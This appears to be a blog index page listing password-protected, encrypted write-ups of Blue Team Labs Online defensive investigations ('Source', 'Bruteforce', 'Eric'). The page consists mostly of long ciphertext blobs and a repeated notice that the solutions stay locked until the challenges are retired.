jRd/uhvFBsG3xoF64xx3++pyJtSy8Xf4Ef24EQL0nu4lucm8GaiaFu5hNdjRhFAI8O2hIKRxE09rDOGTPitQUyoo5Q5H0M5Q/x+xpQIcYm7Jb0KXSSqyN47bC3GXWvY95gyG/qI2wYjfN82KVZ+tLsvwooeu2SGhGSV7FJq0S48D8AErslgdeRm7foSD94Ecaw+TUBW5Ya5bp9j0lW+Vj6ltkf8XpMpTZZFhBU9eiJGk4o8dYDdRkYcZMCMy/JXdWyhI7pAhhZOYlQR5afFfVk5vNJOMku52DIeUcBUttM0AXiusax8wTVzERBjQjrwL2Gwbu9/ltx23BaTbROttYac+5wXBSC2ZB/CT92+7A83DrhEVQUYIULwMuaQaQFE9jeNLpzCM1iyumLzVmzpQI+v+RFhO9nBYVfS4Q1t5C1x74+Uco0RXtzoMgygfxP4hnWf1igbdPMShBW1Kx8BT136BpWB9w+0x12OQgRu+3K6BldYnVaw+hE4VQrrnzZ16AJ6IkVronxG1PUpQqiTKsHaNaISPt6pj276SQl68dqXl6PkS44d/XK5ADRkaAKFN+HBE3B8ghX0OmKfxzx32exJJMmQlshcX9it+0gY=;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

[Encrypted] BTLO - Challenge: Source

2022-03-31T13:07:23-04:00

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

[Encrypted] BTLO - Challenge: Bruteforce

2022-03-31T12:42:34-04:00

CYyCHZiS43z8mFMsmEEkpw==;vuVSQf4plCjQwRzyL68Oske/BCafDn66jyMpE+cUbGgNPo1Wk+ZjgwGBIPle4J4HOqjBJZOFbKBxqvU6MgO6O3MSgchR+u++bnER1Iw07O5p1NTaqZz69Z6vCBL7UPIZjqQoqHa/4o7kWPfx2SzpkVE68vjzDpBb1/6GcbfPN9YMESjab9S2BQ5IAeTWs5O5mXTnJunp4QoLRWCUmdMbkM5iquyxIZlionxmmaGyX6zRgxPrZ2fdz3TMiJtKl/B2/JQOLZR+PqQfpwNqc1/rQjTMTdWShA7ZSlfyOKU+GYLPxdaLZVyn1mtnDYI2/ssymZI0JhzlQRA7izQ0BrEL/1PTEyL2CKJ5xXV4FwPLEkrILumhC0gPJI9uURuLdkGxvGsg/oFvV2fCdTw9nlC/icSldl85ozIl5AxzcyQT+df7QfpMjtiztfubAi6525zH+OxXzfzJomxTuNmBMbIFYLtTN84+nx/BLZsv0bmY5/UFYXQsh0KhcKXVU0Mn/CckypOR0DY2V34cUINM5uB2u6hh/dz8C7E95+gZLJ+QNQefOsIRK0wETJ0s027EO2QKz5YB9gZ3PCS3jk56iKX2NsL6OLfpYRP8ky2VcbCti9wXGmxGtQJERaLEaR/In6mwoi1dlzPtXZy4E22Q3VNrthiIsmiHId5M/BC3p8WmO/1VM8ulWD9K2WvE7pC/yxiumy0HiiFaBVuyDQJp6PnwWaXE6JjD9bVhI/HotXZaDgLqEfXFM3L9kbKpa5xR4s+JA5kFLXCOWNDv8jEK+XmHjgW3sI+gi1iIAbAFMztPi2X70o2J5T1o3d/CSiVv8CmCh7MCRU1ELswT690b3d8uteL3iAyhM1zZJ5HDuley2D/P5jLHK4lc1QXgToFrjO95j1o/Ir8ySZRZBrx4vQFxstThiz6PGBZ6Ac4pc6Sg7/eSZjJbD97RLhb6ADtfFnGlwz0WZtMmKcb1AYvyMymHwENPNicHVD74ZobtoAiUylSAqHxWRguCqhskZ2HdDof7LIkMNsrAIW072gHjds6M9h0sXcYHO8kOt5LLwyvKgZgd+l7nX+yS+4VFvdaTvVZP9wOSYYBHi7Yul68yCciwrSdkzIhGdE7nJhJa8XJ1lK6IfBgDzfvUQEz/kEfMQJvGG2rPXbd/XaBL5Fch9rP0WaLQIBKiqusHC44Dlf/mXo6EDrEu9LLK+VKK5ZIxod74r7/3UAOWAMiWFhWtgNqiqlAa6poWDEnyMAc5J5wO//4sZzLWWJgrz+p7Lnf4pHlkL8QdySE2rCYL2XehLKx0x8sC5okNwCfBhWXOT2N7/Ga7rgr0xXVgCvN3hMo5dYBqfycl5nOvjCMQRRPRBqp2+YbWGUFtIllwGcUs8bCfdEjIy5tfIos78522uoanUeOFerut5Hk2rYobu8vM41v2zhuo7ieqUdEaaobc93AWp4SHtr2ljrhgs3SfdJRwk1Io6PRJd61W7+C8s6pZen3zVxYZ9dNqVXODtXQAbUn9npNvVJ7lzgw76+TM6yyOnCkbTzzgPDiZ4vjGYkP40qzqDjgcSEg6tBan6DwiQVnL3Len6XAmQo2j2pS4VbmqDhc5W5BLOGOXBlreTb70Eu+dl0a6prZ+jQvHq7xZVNFe5LpLnO4e59P/S8i/fLFpsZYwisxbzvHJ4ejeIFuNDTxD1Nllfvy+fkRRNVIgwcxvigyttvBnGDH2vTq3prDJSJwHko8CjTwmBIT7ezpcTzoS0upFOvdEjesaADHLgQz5/ZbuIuYUHizVnuCrHhfAouOhPs5QXLjZ0pY5bnPlGufNapnwmCkKWwjTafkYLpg/N3qY255C/Q1U3qU81DNhDjEAqduvmbxnCq32ryT8RQDgTaqvhDpAAG9v5K0JYuqiSLcDbuu4rZnUqRyfdZlA8hCM8J2mzpv77wHC/CgqOgsCMrgjboSI73GBzZBazPW4q8bOmxdJUUzCEgsSeH/6yPnJwLtbgp2uZBz5aVFymjbRW9YvPGTvLqB/MQArkQPA79316UPxH6bomKkCRnP4mJgaVUSy0aDwlgYM4e46xkaSEbiRpF9Dbfbtdj9y2RssshpU8NMDHVAB7laZTaW+PcwY/muLK1ttXeEFlmG0x8w4bzFt36e8+iu6IqZw+hoUA2x2/E0DHODU/TRKqRogdLXyd27cbydfXBSWiedGnW95ILJEz4UFiOEj4HOXyQc7V3QcpUzfaNxpIHQszVq5zpWhUkbr/Ub818cbOAJmjDEjgR2+oMr22TsikFRAItLz5C/DTKkKfuPf0A59ipYZhgXecDFivGGPlml2jpQr6GTlUlwEcOGI4a0nBb7iKdtJSkRq5rqr5f12fCS+TWwbpWXsZ/2GJTPKqEt0Nmc1ZhI8m95PMZRRqUjFm6DP5ynI5Smy9r3u3WukIMExxJxSwajDqjFIuWu1rdpsiRLHvslwus6vKhJ7BtIS8dTNsmQS9nvba6NkQBk7buj86bdqxjmQjpLjdpNTd52k6kwOc8DWtUi7tuLdKsJdbPHpOtNKo/g4p/4nxEtaZ5r0j6Qb8O1C+VpJ8cw9BaKNyijxHiZWyEFIoogALoDb/R9KK4lB9d8EBMmpPMirGXSb1AbkBIsT16jNpY4Y1g6bk4QuCNDl5ub+w+SRgHrcP0QFaC5Fn6cAe5onzGcGVq6gUREHiLuJmCAcUw+B07bR5GW+A7gSD4tVl7s7mhvtSl7EfcsgdSRGBWW/TBZfleWDqwmelkT9lpBms0eYluPNANiDwRBgbbiVxeiwUbejhJnXyaRRyBbupqHMjg/TNcP7K0RhdzOSBlLuv9TB+9nwsM9O/WFptRbXOktP9tJZIavKr6T4A8mo4jGTBMLpSgtE/MIOPpaw6FwggoxHIOYdIh2vdD6Z4yGM9rtQrlrYa9DGkpv8oR/3lu9WV2UjWVkve2SwZiBkv443FTNO8zf6uRcuRMualFPeqhfLw82kKLikCTsGdGQvUbEhYjRhX5BO5gaZUlKm1cSAA4eH3pgnK0csNxeq1uC9hrOaccEJInimg5LGKanx5TJdKrWDPGmgk9oKJSIjiIp/QdVPijtujR2jpPl48Wd348CfmKb0kBJ6vemjv2D6gVPVakalxNppzliwuZ4ZKiJVnj8ukilglfyjO+GLlnz3fu79fTEZG709DSMDH/7EzC8meVcuOSVUkJ/3lmjCFnpaU0s/fOxLk6il+/i7dT+9T7KTjLo03sfJueia2uTueNr/7s5/w+IEgTlXMFwMiqV7yr/pP3vwvfCiljTRmsMxO3h5yBQGTa58qxtakjlk+ryeYiMhzXdQQt0gxHqK8E+8sN4Q8+uidxXPn5ofe5ld2X183NneN1msRxInWp02Uk5Yazwhk6yKrSSzxNFgcXJMJqF2yIDHZEkNjQ/orwMm7NOqVh30XAbVyjlzOtAlijhk4bI3pFAfe+nVVDpCOm8QR0cO2i85C3ER0bxMfvYKeLsM1vhqMZhUmxjiwlEVAmHslcCpuSvHDzXiqxNYnacVscHdnTuPIiNZvZczBxHZ7+/bNf4/WJYsCjD3cpzkJdUURYOTcv1cKFZ2CXQSY8dKVq16YJUXy70L6sFA6LutQ8N1uSUz1RkMfAn9O7aWnjouiH+WTr4rSPm5L6kD0F/lFB61/nhlLz6hjGVnuwuE6YvYRFSIF/3l4ldcN2G/SX4oJ+FbmSGb7mKdY4KQZyBE4vrU99rgjaaLurbbtPrVH/KdGl+oLVMUWn/shTXxS75/dhhQzVRnw4D4N3/4q1iUPYRajiMhs74ZpYT6P5wXWzEH9ofErnID+Djx/8KJLRZrQAV3YM8W0sb5K0RJCpdc/afTePP3iyUgCps33eV/z0/3IhXosV+ZQEPYyC1vqnIr7DXdyjz2alGqlZdpPNQowSeTTWtRjxTSj+Y5EOTLJZ7ldJzk568wdipwtzV/YmRjkFL6jqI3JgqLlkiPnWQKOVg11nAikxmN3pDmbUvDoCgQknROcgSWdo2vKB7QzJz72p/7luEEbDW0SPo6/ymrSvoiP7327Pe2N9d64/5P3bqssTFUshfN/kZURRj8sEPoVhjy0s99MZAh8i/QibcJrsq2jTzWAGipDo8mPncdWaoN01vG2NNMJvjY31U468v3pU9Iyrtno86MWg6vEA5fAIKfm0GsgP5cReK9N6kvcXLPRouE58geBg7sT11TWe8aiZ6vhDeaG1bK/qqfIZBj4cfocRcaN+qAyQKXzec/B/s6g151yaT9xG/6cScgW02UQeDqj4aMvdInskcrR4+uq91cy+8tKOUs8XgQ0q8n7G6XtTF0Y6kTbxLGAxVt+2uWy4wgnRoWK0NIL3mFW3G/PInz4VeljcFXXmkMhgb/RoeWHgpKevG9IEalhgjo8kHNsYO6UwMG3e6TM2lZkSZVfmMw/ddyMXQ3tsvzYB7+a4ZQXjmSoQu4WQaMx9JvTOhZBzmJFiVy6s+56VpmtPQ+CGmVNa/nJy17abFCmAcg0/W0I75cCbNHlkFJ+8SluHsLfsjX8UwXQ4c6nmyH40LxSYixy/24o/XkRBUrYwNdWV+ZH9DQazrcpb9YSxul2dlfeqnD/UsN8ODZC1DH5GSFdOjrvCbWQx/XJlSgsF1Uz7q54FPd+aROx1aMMOwQx1mmtRq0r2n1vc7KFCmmw8WAZ9p6pvaZ4qtynThVt7ZhFQhGEYgTiRB9ZQU0oM+UNBxqF0jH0xSUw7gk4D3ram82jqwWGK1nXDbBuLxZ5EU9Ul3N727a360V0oxd590r8j+V70/G4U6fo5FRSoRgdf9PAUliCUQ+bqyg1v068+2GQ1w2EcrlTjsXy2pX+qVETy9m48xTSzbFJYkKAnL4ORdKTn52kXZWZss7nkQq0YRHhPKTAYaHvhikTbUAed8I30CHeKOFpAnwuqblLiYYjATfRo+to4hf9+oTmxYWXstZh1Ef1qrb79ejJuSmILJhf8xUbZjezUTwZH9rjuh0qZv9pT7T0xW/iZBrFW0/3Pm4EfxhVMPYOJvSkJ1tq4gELk+89tPIGIa3hOmGWYMUhe63dLN+esF4qGpHUS/Jg1W6jZkPtgIugrV2p6CPyYjaw89v+EulgtAgwoOEDhd4l8uFyah84mttW75GpM+p9OOGmDG6VLtBzJYWLZR8tfoh8jSOzk8AuqbbjgoFJGkJjVo4YzYlf0uJFYElVlUvG92xkN7S5XLs/79FXG4+pKWT6zQKosjhuzY1aohyofoMnpzCloqOxlPcgigXKZiuHVo84pN2vINn907kB6puLbRU6RuAusbm9FkLSnXzUe6QHvw9E0t3AdF1bO1JbM9VDh80IuINg2DNTMgOi7z4Ywz2CiXp50VRhxAfDsysRBStWCR8pl8r1Min62sG/DwIukUleAydCDk3u+SGNHxrchTrWsBMWA5ML0nDIY+wsDHVf21gLCFW/shPBor/E1aEgWIWdoihS1peC1RhhcTAYJJUgucAG46Gs5lzkmhbg/Y5ClwpcwRKH11lVi0iqEbOq0DyrKjhwrbv/qI+veoF39SvYdEsN30aUA7680K5nSSVHJUDEAolLGsj+Qgss+Xr8w0to9KSRbT3XI+LBd21Fa0nfTsr2+XSF7DpRKtVBSByLTofp6c90LLGthjm9r1PZ9d8bUzKMQTGpFTCfBcv1fAdl6OP2qAjT0fqs8cVWcJdgBGFFzwjlMQ7AU+lc5PO8wyuGe5rO9AfCflvSGeseXifam0ia0dV2HPVTYamzytY066e/C0FSEB2bC/eViRXTjr/8cocOB8o8hZKWlmGnd1yfhJVH/8uv9ns0GMch6KCnSrGxcyysH1AALIWzgD7iPcSHbc58NWs6VtF+VJczUkXsF7s9R8//5QMZect3JzJDzLWgnoyZR/T5dBfAb8vIEkMS33oPR9+fz26/ewre6BEZw4KsKOnFvBEpto3To6ea7FT19sezgBlxlSB3jxhk70ZnXFRAWTs/vVdYMqDdOfaECpyzn2x7Py2m4FZvs1vMEnOt0G/olRYRD4cMgjquK0AVKiS+U/F3BFuIPGk5sZPXk3+daIajqQJf6ADMjzd1OY1+av6ZX1SLrV6fijTKPu/3EJJX8bfYnHRkP5Khty+BKUqWFkZ1eviLlbh5yCvdpBqV373bSAFX+QN50oVGGgMh5JEreeLk6NNmffaGMus5QrOoOEKhe5p3h0j4j8bVfikslrYwtrKoSTW0fxxOQRfbKFV0NaeJokUgM1tG68GPKzgbGGGVHmh3qK6sVK4ScDLqzscKEHTvplbM6lWC7Xl6n1RvCKeRL9VqeQ68A6koiDiWXMxxIlfGhO994IYjGQ6DSuBRdu526+p5p5MrdsEpvtKVZNaP7YiVp/ZguoVXsPC86P5BMnxNiE1JmTsDAVAXc9SurgFVom3LmqGpPeKnPmZraC1pXq4DIRyEpdMjruSWiPx5sos65hOJqoKQm2A3R+brrzlKfKNtgNuQw==;^

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.

[Encrypted] BTLO - Investigation: Eric

2022-03-29T17:53:10-04:00

YRH0gSnIKO2qzhaAlZLT4g==;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